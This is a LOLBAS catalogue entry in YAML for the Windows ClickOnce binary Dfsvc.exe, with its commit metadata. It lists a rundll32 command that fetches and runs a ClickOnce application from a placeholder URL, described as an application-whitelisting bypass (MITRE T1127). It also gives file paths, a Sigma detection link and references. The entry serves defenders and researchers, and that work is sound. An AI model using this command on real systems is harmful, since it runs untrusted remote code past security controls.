LOLBAS/yml/OSBinaries/Dfsvc.yml
bohops 23dd0236ae
Detection Resources and Other Updates (#179)
* Add detection links for scripts

* Add detection links for OtherMSBins. Fixed and updated as needed.

* Add detection links for MSBins. Fixed and updated as needed.

* Add detection links for oslibraries

* Updating template for Detections

* Removing empty Detection:Sigma entries

* Remove redundant blank line

* Replacing commit URL with file URL

Co-authored-by: root <root@DESKTOP-5CR935D.localdomain>
Co-authored-by: Wietze <wietze@users.noreply.github.com>
2021-11-15 08:19:03 -05:00

30 lines
1.2 KiB
YAML

---
Name: Dfsvc.exe
Description: ClickOnce engine in Windows used by .NET
Author: 'Oddvar Moe'
Created: 2018-05-25
Commands:
- Command: rundll32.exe dfshim.dll,ShOpenVerbApplication http://www.domain.com/application/?param1=foo
Description: Executes click-once-application from Url (trampoline for Dfsvc.exe, DotNet ClickOnce host)
Usecase: Use binary to bypass Application whitelisting
Category: AWL bypass
Privileges: User
MitreID: T1127
OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
Full_Path:
- Path: C:\Windows\Microsoft.NET\Framework\v2.0.50727\Dfsvc.exe
- Path: C:\Windows\Microsoft.NET\Framework64\v2.0.50727\Dfsvc.exe
- Path: C:\Windows\Microsoft.NET\Framework\v4.0.30319\Dfsvc.exe
- Path: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Dfsvc.exe
Code_Sample:
- Code:
Detection:
- Sigma: https://github.com/SigmaHQ/sigma/blob/08ca62cc8860f4660e945805d0dd615ce75258c1/rules/windows/process_creation/win_susp_rundll32_activity.yml
Resources:
- Link: https://github.com/api0cradle/ShmooCon-2015/blob/master/ShmooCon-2015-Simple-WLEvasion.pdf
- Link: https://stackoverflow.com/questions/13312273/clickonce-runtime-dfsvc-exe
Acknowledgement:
- Person: Casey Smith
Handle: '@subtee'
---